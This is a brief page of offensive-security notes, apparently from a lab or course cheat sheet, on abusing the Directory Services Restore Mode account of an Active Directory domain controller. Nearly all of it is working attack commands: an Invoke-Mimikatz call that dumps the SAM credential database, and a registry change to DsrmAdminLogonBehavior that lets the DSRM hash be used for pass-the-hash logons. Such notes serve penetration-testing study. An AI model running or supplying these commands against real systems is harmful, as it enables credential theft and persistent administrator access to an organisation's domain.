DSRM (Directory Services Restore Mode)
DSRM (Directory Services Restore Mode)
Execution
Dumping the SAM database
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dcRequirements before you can pass the hash
## Logon Behavior for the DSRM account needs to be changed before we can use its hash
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORDLast updated